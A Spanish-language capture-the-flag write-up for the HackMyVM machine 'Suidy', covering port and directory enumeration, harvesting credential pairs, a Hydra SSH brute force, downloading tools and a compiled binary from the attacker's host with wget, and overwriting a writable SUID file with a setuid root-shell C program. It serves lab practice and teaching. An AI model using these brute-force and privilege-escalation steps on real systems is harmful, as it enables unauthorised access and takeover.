Suidy

Hoy vamos a realizar la primera máquina medium de HackMyVM, que aunque la dificultad es subjetiva, al llegar a la escalada se me atragantó y vi el porqué del medium 😅, pero lo bueno es que hemos aprendido cosas nuevas, que es de lo que se trata.

Reconocimiento de Puertos

Como siempre, antes de nada, averiguamos la IP que se le ha asignado a la máquina víctima:

sudo arp-scan -l | grep "PCS"
192.168.0.22  08:00:27:52:7c:0a PCS Systemtechnik GmbH

La introduzco en una variable para que sea más cómodo trabajar con ella ip=192.168.0.22. Ahora realizamos el reconocimiento de puertos con un pequeño script que creé para automatizar este proceso tan rutinario:

❯ ./nmapauto.sh $ip

 [*] Reconocimiento inicial de puertos

Starting Nmap 7.92 ( https://nmap.org ) at 2022-11-25 15:30 CET
Initiating Ping Scan at 15:30
Scanning 192.168.0.22 [2 ports]
Completed Ping Scan at 15:30, 0.00s elapsed (1 total hosts)
Initiating Connect Scan at 15:30
Scanning 192.168.0.22 [65535 ports]
Discovered open port 80/tcp on 192.168.0.22
Discovered open port 22/tcp on 192.168.0.22
Completed Connect Scan at 15:30, 3.08s elapsed (65535 total ports)
Nmap scan report for 192.168.0.22
Host is up (0.00041s latency).
Not shown: 65533 closed tcp ports (conn-refused)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 3.14 seconds

 [*] Escaneo avanzado de servicios

Starting Nmap 7.92 ( https://nmap.org ) at 2022-11-25 15:30 CET
Nmap scan report for 192.168.0.22
Host is up (0.00026s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey: 
|   2048 8a:cb:7e:8a:72:82:84:9a:11:43:61:15:c1:e6:32:0b (RSA)
|   256 7a:0e:b6:dd:8f:ee:a7:70:d9:b1:b5:6e:44:8f:c0:49 (ECDSA)
|_  256 80:18:e6:c7:01:0e:c6:6d:7d:f4:d2:9f:c9:d0:6f:4c (ED25519)
80/tcp open  http    nginx 1.14.2
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: nginx/1.14.2
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.50 seconds

Pues en este caso nos toca ver qué podemos obtener a través de http, ya que no tenemos credenciales de SSH de ningún tipo.

Fuzzing

En este caso, al ser una web sencilla, utilizaremos curl:

❯ curl http://192.168.0.22/
hi

<!-- hi again -->

Ahora vamos a realizar fuzzing a ver qué encontramos:

❯ gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 200 -x html,php,txt -u $ip
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.0.22
[+] Method:                  GET
[+] Threads:                 200
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Extensions:              html,php,txt
[+] Timeout:                 10s
===============================================================
2022/11/25 15:57:21 Starting gobuster in directory enumeration mode
===============================================================
/index.html           (Status: 200) [Size: 22]
/robots.txt           (Status: 200) [Size: 362]
                                               
===============================================================
2022/11/25 15:58:44 Finished
===============================================================

Solamente nos encuentra un “robots.txt”. Vamos a revisarlo por si figura algún directorio oculto fuera de diccionario:

❯ curl http://192.168.0.22/robots.txt
/hi
/....\..\.-\--.\.-\..\-.

(muchas líneas vacías)

/shehatesme

¡Sorpresa! Tras pipearle el comando cat -n pude comprobar que ese directorio se encontraba en la línea 324, por lo que a través del navegador es muy fácil pasarlo por alto 😉. Veamos que tenemos dentro de ese directorio:

❯ curl http://192.168.0.22/shehatesme
<html>
<head><title>301 Moved Permanently</title></head>
<body bgcolor="white">
<center><h1>301 Moved Permanently</h1></center>
<hr><center>nginx/1.14.2</center>
</body>
</html>

Hay una redirección, por lo que ponemos “-L”:

❯ curl -L http://192.168.0.22/shehatesme
She hates me because I FOUND THE REAL SECRET!
I put in this directory a lot of .txt files.
ONE of .txt files contains credentials like "theuser/thepass" to access to her system!
All that you need is an small dict from Seclist!

Aquí el autor nos está dando una muy buena pista. Así que antes de nada vamos a fuzzear por ficheros “.txt” y luego crearemos un pequeño script para ver su contenido:

❯ gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 200 -x txt -u $ip/shehatesme
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.0.22/shehatesme
[+] Method:                  GET
[+] Threads:                 200
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Extensions:              txt
[+] Timeout:                 10s
===============================================================
2022/11/25 16:21:26 Starting gobuster in directory enumeration mode
===============================================================
/full.txt             (Status: 200) [Size: 16]
/page.txt             (Status: 200) [Size: 16]
/about.txt            (Status: 200) [Size: 16]
/search.txt           (Status: 200) [Size: 16]
/new.txt              (Status: 200) [Size: 16]
/space.txt            (Status: 200) [Size: 16]
/blog.txt             (Status: 200) [Size: 16]
/privacy.txt          (Status: 200) [Size: 16]
/faqs.txt             (Status: 200) [Size: 16]
/link.txt             (Status: 200) [Size: 16]
/es.txt               (Status: 200) [Size: 16]
/guide.txt            (Status: 200) [Size: 16]
/issues.txt           (Status: 200) [Size: 16]
/forums.txt           (Status: 200) [Size: 16]
/jobs.txt             (Status: 200) [Size: 16]
/other.txt            (Status: 200) [Size: 16]
/google.txt           (Status: 200) [Size: 16]
/welcome.txt          (Status: 200) [Size: 16]
/admin.txt            (Status: 200) [Size: 16]
/folder.txt           (Status: 200) [Size: 16]
/2001.txt             (Status: 200) [Size: 16]
/art.txt              (Status: 200) [Size: 16]
/java.txt             (Status: 200) [Size: 16]
/network.txt          (Status: 200) [Size: 16]
/smilies.txt          (Status: 200) [Size: 16]
/airport.txt          (Status: 200) [Size: 16]
/secret.txt           (Status: 200) [Size: 16]
/procps.txt           (Status: 200) [Size: 16]
/pynfo.txt            (Status: 200) [Size: 16]
/lh2.txt              (Status: 200) [Size: 16]
/muze.txt             (Status: 200) [Size: 16]
/cymru.txt            (Status: 200) [Size: 16]
/alba.txt             (Status: 200) [Size: 16]
/wha.txt              (Status: 200) [Size: 16]
                                              
===============================================================
2022/11/25 16:22:06 Finished
===============================================================

Bien, ahora copio ese contenido en un fichero llamado “raw.txt” y me quedo solamente con los nombres de fichero:

cut -d " " -f1 < raw.txt | tee dict.txt

Ahora creamos un pequeño script para que nos “lea” todos los TXT encontrados y nos los inserte en un fichero:

#!/bin/bash

while IFS= read -r line
do
   curl http://192.168.0.22/shehatesme$line >> curl.txt
done < dict.txt

Le damos permisos de ejecución: chmod +x curl.sh y lo ejecutamos ./curl.sh. Esto es lo que hemos obtenido:

❯ cat curl.txt
hidden1/passZZ!
yuijhse/hjupnkk
jhfbvgt/iugbnvh
jaime11/JKiufg6
john765/FDrhguy
maria11/jhfgyRf
jaime11/JKiufg6
jaime11/JKiufg6
jaime11/JKiufg6
jaime11/JKiufg6
mmnnbbv/iughtyr
jaime11/JKiufg6
jaime11/JKiufg6
jaime11/JKiufg6
jaime11/JKiufg6
jaime11/JKiufg6
jaime11/JKiufg6
jaime11/JKiufg6
jaime11/JKiufg6
jaime11/JKiufg6
jaime11/JKiufg6
jaime11/JKiufg6
jaime11/JKiufg6
jaime11/JKiufg6
smileys/98GHbjh
nhvjguy/kjhgyut
jaime11/JKiufg6
theuser/thepass
jaime11/JKiufg6
jaime11/JKiufg6
jaime11/JKiufg6
jaime11/JKiufg6
jaime11/JKiufg6
jaime11/JKiufg6

En este punto, no me quería complicar y como tampoco había tantas posibilidades, confiaba ciegamente en que la pista que nos daban era CLARA. Nos habla de “ella”, y en ese listado aparentemente solo veo un nombre de mujer, “maria11”. Decido probar con esa combinación y… no es correcta 😂.

En este punto, me pregunto y si es que el autor (como ya es habitual) nos está troleando un poco y la combinación es “theuser/thepass” (que también figura en el listado). Pruebo… y ahora sí. ¡Estamos dentro!

Fuerza bruta (extra, no me hizo falta)

Podríamos continuar con la máquina, pero ahora que hago el write-up, me gustaría explicar cómo lo haríamos en el caso de que esa combinación no fuese correcta y tuviéramos muchas posibilidades y fuese inviable comprobarlas una a una.

En primer lugar sacamos las opciones repetidas y sustituimos la “/” por “:” para tener el formato que necesita Hydra para funcionar:

sort -u curl.txt | tr "/" ":" | tee listado.txt
hidden1:passZZ!
jaime11:JKiufg6
jhfbvgt:iugbnvh
john765:FDrhguy
maria11:jhfgyRf
mmnnbbv:iughtyr
nhvjguy:kjhgyut
smileys:98GHbjh
theuser:thepass
yuijhse:hjupnkk

Ahora solo nos queda correr Hydra:

❯ hydra -C listado.txt $ip ssh -F
Hydra v9.1 (c) 2020 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2022-11-25 18:54:39
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 10 tasks per 1 server, overall 10 tasks, 10 login tries, ~1 try per task
[DATA] attacking ssh://192.168.0.22:22/
[22][ssh] host: 192.168.0.22   login: theuser   password: thepass
[STATUS] attack finished for 192.168.0.22 (valid pair found)
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2022-11-25 18:54:40

Como solo son pocas posibilidades la saca al momento. Nos conectamos:

❯ ssh theuser@$ip
theuser@192.168.0.22's password: 
Linux suidy 4.19.0-9-amd64 #1 SMP Debian 4.19.118-2+deb10u1 (2020-06-07) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Fri Nov 25 17:04:40 2022 from 192.168.0.24
theuser@suidy:~$ ls
user.txt
theuser@suidy:~$ cat user.txt

Pues ya tenemos la flag de user, vamos a por la de root.

Escalada de privilegios

Como siempre antes de nada, realizamos un pequeño tratamiento para operar con la terminal correctamente y hacemos un reconocimiento:

theuser@suidy:~$ export TERM=xterm
theuser@suidy:~$ export SHELL=bash
theuser@suidy:~$ ls /home
suidy  theuser
theuser@suidy:~$ ls -la /home/suidy
total 3060
drwxr-xr-x 3 suidy suidy      4096 nov 25 12:54 .
drwxr-xr-x 4 root  root       4096 sep 26  2020 ..
-rw------- 1 suidy suidy        12 sep 27  2020 .bash_history
-rw-r--r-- 1 suidy suidy       220 sep 26  2020 .bash_logout
-rw-r--r-- 1 suidy suidy      3526 sep 26  2020 .bashrc
drwxr-xr-x 3 suidy suidy      4096 sep 26  2020 .local
-r--r----- 1 suidy suidy       197 sep 26  2020 note.txt
-rw-r--r-- 1 suidy suidy       807 sep 26  2020 .profile
-rwsrwsr-x 1 root  theuser   16704 sep 26  2020 suidyyyyy

Al entrar en el directorio del usuario “suidy”. Vemos que hay un binario SUID con permisos para ejecutarlo.

theuser@suidy:~$ /home/suidy/suidyyyyy 
suidy@suidy:~$ pwd
/home/theuser
suidy@suidy:~$ cat /home/suidy/note.txt
I love SUID files!
The best file is suidyyyyy because users can use it to feel as I feel.
root know it and run an script to be sure that my file has SUID. 
If you are "theuser" I hate you!

-suidy

Al ejecutarlo nos hemos convertido en el usuario suidy y ahora ya tenemos permisos para leer esa nota que nos da otra pista. Por tanto, nos vamos a situar en el directorio de trabajo de suidy y subir la herramienta pspy64 que nos ayudará a localizar procesos dentro del sistema.

De esta forma, creamos un servidor en Python python3 -m http.server y la subimos:

suidy@suidy:~$ cd /home/suidy
suidy@suidy:/home/suidy$ wget 192.168.0.24:8000/pspy64
--2022-11-25 17:40:32--  http://192.168.0.24:8000/pspy64
Conectando con 192.168.0.24:8000... conectado.
Petición HTTP enviada, esperando respuesta... 200 OK
Longitud: 3078592 (2,9M) [application/octet-stream]
Grabando a: “pspy64”

pspy64                                        100%[=================================================================================================>]   2,94M  --.-KB/s    en 0,02s   

2022-11-25 17:40:32 (158 MB/s) - “pspy64” guardado [3078592/3078592]

Ahora le damos permisos y la ejecutamos:

suidy@suidy:/home/suidy$ chmod +x pspy64 
suidy@suidy:/home/suidy$ ./pspy64 
pspy - version: v1.2.0 - Commit SHA: 9c63e5d6c58f7bcdc235db663f5e3fe1c33b8855


     ██▓███    ██████  ██▓███ ▓██   ██▓
    ▓██░  ██▒▒██    ▒ ▓██░  ██▒▒██  ██▒
    ▓██░ ██▓▒░ ▓██▄   ▓██░ ██▓▒ ▒██ ██░
    ▒██▄█▓▒ ▒  ▒   ██▒▒██▄█▓▒ ▒ ░ ▐██▓░
    ▒██▒ ░  ░▒██████▒▒▒██▒ ░  ░ ░ ██▒▓░
    ▒▓▒░ ░  ░▒ ▒▓▒ ▒ ░▒▓▒░ ░  ░  ██▒▒▒ 
    ░▒ ░     ░ ░▒  ░ ░░▒ ░     ▓██ ░▒░ 
    ░░       ░  ░  ░  ░░       ▒ ▒ ░░  
                   ░           ░ ░     
                               ░ ░     

Config: Printing events (colored=true): processes=true | file-system-events=false ||| Scannning for processes every 100ms and on inotify events ||| Watching directories: [/usr /tmp /etc /home /var /opt] (recursive) | [] (non-recursive)
Draining file system events due to startup...
done
2022/11/25 17:44:10 CMD: UID=0    PID=99     | 
2022/11/25 17:44:10 CMD: UID=0    PID=97     | 
2022/11/25 17:44:10 CMD: UID=0    PID=95     | 
2022/11/25 17:44:10 CMD: UID=0    PID=9      | 
2022/11/25 17:44:10 CMD: UID=1000 PID=810    | (sd-pam) 
2022/11/25 17:44:10 CMD: UID=1000 PID=809    | /lib/systemd/systemd --user 
2022/11/25 17:44:10 CMD: UID=0    PID=8      | 
2022/11/25 17:44:10 CMD: UID=0    PID=7      | 
2022/11/25 17:44:10 CMD: UID=0    PID=6      | 
2022/11/25 17:44:10 CMD: UID=0    PID=59     | 
2022/11/25 17:44:10 CMD: UID=0    PID=50     | 
2022/11/25 17:44:10 CMD: UID=0    PID=49     | 
2022/11/25 17:44:10 CMD: UID=0    PID=48     | 
2022/11/25 17:44:10 CMD: UID=0    PID=4      | 
2022/11/25 17:44:10 CMD: UID=33   PID=380    | nginx: worker process                            
2022/11/25 17:44:10 CMD: UID=0    PID=375    | nginx: master process /usr/sbin/nginx -g daemon on; master_process on; 
2022/11/25 17:44:10 CMD: UID=0    PID=333    | /usr/sbin/sshd -D 
2022/11/25 17:44:10 CMD: UID=0    PID=329    | /sbin/dhclient -4 -v -i -pf /run/dhclient.enp0s3.pid -lf /var/lib/dhcp/dhclient.enp0s3.leases -I -df /var/lib/dhcp/dhclient6.enp0s3.leases enp0s3 
2022/11/25 17:44:10 CMD: UID=0    PID=328    | /sbin/agetty -o -p -- \u --noclear tty1 linux 
2022/11/25 17:44:10 CMD: UID=104  PID=316    | /usr/bin/dbus-daemon --system --address=systemd: --nofork --nopidfile --systemd-activation --syslog-only 
2022/11/25 17:44:10 CMD: UID=0    PID=315    | /usr/sbin/rsyslogd -n -iNONE 
2022/11/25 17:44:10 CMD: UID=0    PID=314    | /lib/systemd/systemd-logind 
2022/11/25 17:44:10 CMD: UID=0    PID=311    | /usr/sbin/cron -f 
2022/11/25 17:44:10 CMD: UID=0    PID=307    | 
2022/11/25 17:44:10 CMD: UID=0    PID=306    | 
2022/11/25 17:44:10 CMD: UID=0    PID=30     | 
2022/11/25 17:44:10 CMD: UID=0    PID=3      | 
2022/11/25 17:44:10 CMD: UID=0    PID=29     | 
2022/11/25 17:44:10 CMD: UID=0    PID=28     | 
2022/11/25 17:44:10 CMD: UID=0    PID=27     | 
2022/11/25 17:44:10 CMD: UID=0    PID=26     | 
2022/11/25 17:44:10 CMD: UID=101  PID=254    | /lib/systemd/systemd-timesyncd 
2022/11/25 17:44:10 CMD: UID=0    PID=25     | 
2022/11/25 17:44:10 CMD: UID=0    PID=24     | 
2022/11/25 17:44:10 CMD: UID=0    PID=236    | /lib/systemd/systemd-udevd 
2022/11/25 17:44:10 CMD: UID=0    PID=23     | 
2022/11/25 17:44:10 CMD: UID=1001 PID=2284   | ./pspy64 
2022/11/25 17:44:10 CMD: UID=0    PID=2279   | 
2022/11/25 17:44:10 CMD: UID=0    PID=2240   | 
2022/11/25 17:44:10 CMD: UID=0    PID=22     | 
2022/11/25 17:44:10 CMD: UID=0    PID=215    | /lib/systemd/systemd-journald 
2022/11/25 17:44:10 CMD: UID=1001 PID=2130   | /bin/bash 
2022/11/25 17:44:10 CMD: UID=1001 PID=2129   | sh -c /bin/bash 
2022/11/25 17:44:10 CMD: UID=1001 PID=2128   | /home/suidy/suidyyyyy 
2022/11/25 17:44:10 CMD: UID=0    PID=21     | 
2022/11/25 17:44:10 CMD: UID=1000 PID=2071   | -bash 
2022/11/25 17:44:10 CMD: UID=1000 PID=2070   | sshd: theuser@pts/1  
2022/11/25 17:44:10 CMD: UID=0    PID=2064   | sshd: theuser [priv] 
2022/11/25 17:44:10 CMD: UID=0    PID=20     | 
2022/11/25 17:44:10 CMD: UID=0    PID=2      | 
2022/11/25 17:44:10 CMD: UID=0    PID=19     | 
2022/11/25 17:44:10 CMD: UID=0    PID=184    | 
2022/11/25 17:44:10 CMD: UID=0    PID=183    | 
2022/11/25 17:44:10 CMD: UID=0    PID=181    | 
2022/11/25 17:44:10 CMD: UID=0    PID=18     | 
2022/11/25 17:44:10 CMD: UID=0    PID=17     | 
2022/11/25 17:44:10 CMD: UID=0    PID=16     | 
2022/11/25 17:44:10 CMD: UID=0    PID=15     | 
2022/11/25 17:44:10 CMD: UID=0    PID=149    | 
2022/11/25 17:44:10 CMD: UID=0    PID=14     | 
2022/11/25 17:44:10 CMD: UID=0    PID=12     | 
2022/11/25 17:44:10 CMD: UID=0    PID=11     | 
2022/11/25 17:44:10 CMD: UID=0    PID=105    | 
2022/11/25 17:44:10 CMD: UID=0    PID=103    | 
2022/11/25 17:44:10 CMD: UID=0    PID=101    | 
2022/11/25 17:44:10 CMD: UID=0    PID=10     | 
2022/11/25 17:44:10 CMD: UID=0    PID=1      | /sbin/init 
2022/11/25 17:45:01 CMD: UID=0    PID=2292   | /usr/sbin/CRON -f 
2022/11/25 17:45:01 CMD: UID=0    PID=2293   | /usr/sbin/CRON -f 
2022/11/25 17:45:01 CMD: UID=0    PID=2294   | /bin/sh -c sh /root/timer.sh 
2022/11/25 17:45:01 CMD: UID=0    PID=2295   | sh /root/timer.sh 

Tras esperar al minuto 45 podemos comprobar que aparece un proceso “curioso”. Cada minuto se ejecuta ese script, que según la pista, nos da a entender que es el que le da permisos SUID. No podemos comprobarlo porque no tenemos permisos. Tampoco podemos ver el código del binario suidyyyyy, pero realmente no importa, porque sin embargo, sí que tenemos permisos de escritura sobre el mismo. Por tanto, lo que vamos a hacer es crear uno nuevo y sustituirlo. Con esto perderemos el permiso SUID, pero el proceso que descubrimos le otorgará de nuevo el permiso para que nos dé una shell como root.

El código de C es sencillito, pero yo lo saqué de una búsqueda de Google de https://github.com/jivoi/pentest/blob/master/shell/rootshell.c.

Creamos un fichero “shell.c” con ese código:

#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
int main(void)
{
setuid(0); setgid(0); system("/bin/bash");
}

Lo compilamos:

❯ gcc -o hazmeroot shell.c
shell.c: In function ‘main’:
shell.c:6:23: warning: implicit declaration of function ‘system’ [-Wimplicit-function-declaration]
    6 | setuid(0); setgid(0); system("/bin/bash");
      |   

Antes de nada, cabe destacar que como suidy no tenemos permisos de escritura dentro de nuestro directorio de trabajo, por lo que vamos a cambiar a “theuser” y situarnos en su directorio (en el de suidy tampoco puede escribir):

suidy@suidy:/home/suidy$ exit
exit
theuser@suidy:/home/suidy$ cd
theuser@suidy:~$ pwd
/home/theuser

Lo subimos a la máquina víctima con el servidor de Python y lo sustituimos:

theuser@suidy:~$ wget 192.168.0.24:8000/hazmeroot
--2022-11-25 20:44:44--  http://192.168.0.24:8000/hazmeroot
Conectando con 192.168.0.24:8000... conectado.
Petición HTTP enviada, esperando respuesta... 200 OK
Longitud: 20184 (20K) [application/octet-stream]
Grabando a: “hazmeroot”

hazmeroot              100%[============================>]  19,71K  --.-KB/s    en 0s      

2022-11-25 20:44:44 (187 MB/s) - “hazmeroot” guardado [20184/20184]

theuser@suidy:~$ cp hazmeroot /home/suidy/suidyyyyy
theuser@suidy:~$ ls -l /home/suidy/
total 24
-r--r----- 1 suidy suidy     197 sep 26  2020 note.txt
-rwxrwxr-x 1 root  theuser 20184 nov 25 20:45 suidyyyyy
theuser@suidy:~$ ls -l /home/suidy/
total 24
-r--r----- 1 suidy suidy     197 sep 26  2020 note.txt
-rwsrwsr-x 1 root  theuser 20184 nov 25 20:45 suidyyyyy

Si nos fijamos, en el primer ls no tenemos todavía permisos, pero tras esperar unos segundos, lo vuelvo a ejecutar y el proceso ya nos volvió a dar el permiso SUID, solo falta ejecutarlo y seremos root.

theuser@suidy:~$ /home/suidy/suidyyyyy
root@suidy:~# whoami
root
root@suidy:~# cd /root
root@suidy:/root# ls
root.txt  timer.sh
root@suidy:/root# cat root.txt 

Pues con esto hemos finalizado la máquina. El “medium” a mi modo de ver está por la parte de la escalada de privilegios, que es un poco liosa y se me atragantó bastante, pero bueno, con esto otra cosa más que hemos aprendido. Esta es la 2ª máquina que hacemos de sml, así que agradecerle todo su trabajo.

Me ha gustado como se dan las pistas en esta máquina. Nos vemos en la siguiente.